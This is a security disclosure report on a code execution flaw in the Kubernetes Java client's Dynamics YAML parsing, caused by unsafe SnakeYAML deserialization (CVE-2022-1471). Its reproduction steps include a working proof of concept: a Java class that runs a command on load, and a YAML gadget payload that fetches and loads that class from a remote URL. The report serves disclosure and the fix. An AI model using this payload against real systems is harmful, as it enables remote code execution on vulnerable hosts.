The `io.kubernetes.client.util.generic.dynamic.Dynamics` contains a code execution vulnerability due to SnakeYAML

How it was found

Summary:

If the io.kubernetes.client.util.generic.dynamic.Dynamics is used to deserialize a DynamicKubernetesObject from untrusted YAML, an attacker can achieve code execution inside of the JVM.

Since this is a part of the public API, down stream consumers can be using this API in a way that leaves them vulnerable. I have found no users of this class on GitHub outside of this project's unit tests. But that doesn't mean there are no users of this API. Someone built it for a reason, right?

Component Version:

Kubernettes Java Client version 17.0.0

Steps To Reproduce:

1. Host a server with a JAR file containing the following code:

package org.jlleitschuh.sandbox;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class ScriptEngineFactoryRCE implements ScriptEngineFactory {
    static {
        try {
            Runtime r = Runtime.getRuntime();
            Process p = r.exec("open -a Calculator");
            p.waitFor();
        } catch (IOException | InterruptedException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

The jar file must contain a file /META-INF/services/javax.script.ScriptEngineFactory with the contents org.jlleitschuh.sandbox.ScriptEngineFactoryRCE # Our RCE Payload

Host this jar file from a local server's root path.

Then call the Dynamics yaml parsing APIs with the following payload:

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]

Fix

The SnakeYAML parser should be instantiated with the argument new SafeConstructor() in order to not be vulnerable to arbitrary deserialization.

Supporting Material/References:

• https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in (I'm currently attempting to convince the maintainer of SnakeYaml to make this library secure by default, with limited sucsess)
• https://nvd.nist.gov/vuln/detail/CVE-2022-1471
• https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2

Impact

If this Dynamics class is used to parse untrusted YAML, an attacker can achieve remote code execution